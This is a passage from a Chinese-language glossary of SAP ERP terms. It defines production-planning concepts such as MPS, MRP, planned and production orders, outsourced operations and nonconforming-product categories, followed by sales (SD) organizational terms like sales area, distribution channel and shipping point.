7、长期计划模拟:在SAP系统中对模拟的需求做计划,以考察产能供需是否均衡,产出期是否能保证.计划结果存在生产版本中,可以设计多个模拟方案,存于多个生产版本中.
8、额外需求:不是来自销售合同的不需要经过设计的物料需求。
9、借用件:指系统中存在完整的主数据,可以直接用于新产品的部件的物料。
10、关键件:生产周期长、加工复杂、占用资源多、需要单独安排生产计划的部件。
11、MPS:主生产计划,在对全部产品运行物料需求计划之前,对关键件单独运行生产计划,以确保关键件的产出期.
12、MRP:物料需求计划,按照BOM、零部件采购或加工时间、及产品的最终产出期,计算出所有相关零部件的采购或加工的起始时间与数量,形成相应的计划订单的过程.
13、计划订单:系统MRP/MPS运行以后产生的相关零部件的采购或加工的计划,包括物料号、数量、及日期等信息.
14、生产订单:在SAP系统中,自制件的计划订单需要转成生产订单,才能开始生产.
生产订单的内容包括物料号、数量、日期、工艺路线、分配到每道工序的物料号及数量.
15、销售订单:各分公司对客户实行执行的要货处理,系统中以销售订单这种单据载体跟踪该客户每一笔要货情况和全程处理情况。同时销售订单还包含部分原工号管理的信息。
16、工序外协:将某道工序转移到其它公司执行。
17、全工序外协:订单涉及的全部工序都需要外协。工艺外协:因自身没有制造技能而将某个零部件或某道工序拿到其他公司制造。
18、不合格品:未满足要求的毛坯件、零部件、半成品、外协件和整机产品。
19、返修品:经过纠正,虽未满足原规定要求,但能满足预期用途的不合格品。
20、返工品:经过采取措施,使不合格品达到符合要求的产品。
21、回用品:未经过纠正,虽未满足原规定要求,但能满足预期用途的不合格品。
22、废品:不满足原规定要求和预期使用要求的产品。
销售(SD)
1、主数据:主数据是企业运作过程中必须或经常使用的基本数据,长期存储在数据库中,它们集中存储并且可以在各级组织结构上维护和使用。比如:物料主数据、客户主数据等。
2、流程数据:流程数据主要是指某次营销业务流程中涉及的相关合同、订单、发货、发票、回款等数据。
3、单据类型:在SAP中把合同、订单、交货单、发票根据不同的业务需求都分为不同的类型,分别称为合同类型、订单类型等。
4、销售组织:一个公司根据其销售需要,建立的一个组织单位,它的职责是管理和组织物料销售和服务
5、分销渠道:一个公司销售产品的渠道,比方:批发,零售等
6、产品组:对需销售的产品和服务进行分类
7、销售区域:SAP中把销售组织、分销渠道、产品组的一个组合称为销售区域
8、销售办公室:对销售业务在实际管理上的一种划分,主要用于统计
9、销售组:比销售办公室更细的一个划分方式
10、发运点:销售发货时的发出地点
11、发货工厂:货物的发出工厂(一般说来,发货工厂就是生产工厂)